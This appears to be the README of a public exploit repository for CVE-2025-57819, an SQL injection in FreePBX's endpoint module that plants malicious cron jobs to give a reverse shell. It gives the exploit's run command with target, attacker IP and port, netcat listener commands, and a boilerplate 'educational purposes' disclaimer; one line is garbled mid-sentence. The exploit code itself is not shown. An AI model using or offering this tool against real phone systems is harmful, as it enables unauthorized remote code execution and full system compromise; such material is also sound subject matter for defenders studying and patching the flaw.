its1zero/cve-2025-57819-exploit
< 15.0.66, < 16.0.89 and < 17.0.3This script exploits CVE-2025-57819 in a vulnerable FreePBX endpoint module. The vulnerability allows SQL injection, which is leveraged to inject malicious cron jobs.
There are no additional steps necessary like in other public exploits through interact over an uploaded webshell with the target. It is a straight forward approach, which will brings your directly reverse shell access.
Remote code execution is achieved through SQL injection and cron job manipulation. Successful exploitation results in a reverse shell on the target system. Depending on configuration, this may lead to full system compromise.
* * * * *)base64 payloads are corrupted when + characters are interpreted as spaces.Run the exploit by providing the target and listener configuration:
python3 cve-2025-57819.py <target> <lhost> <lport>
<target>: Target hostname or IP address (vulnerable FreePBX instance)<lhost>: Attacker IP address for reverse shell callback<lport>: Listening port for incoming connectionpython3 cve-2025-57819.py freepbx.local 10.10.16.38 9999
Start a listener before executing the exploit:
nc -lvnp <port>
nc -nlvp 9999
This tool is intended for educational purposes and authorized security testing only. Unauthorized use against systems without explicit permission is illegal. The author assumes no responsibility for misuse or damage caused by this tool.
Its1Zero - [email protected]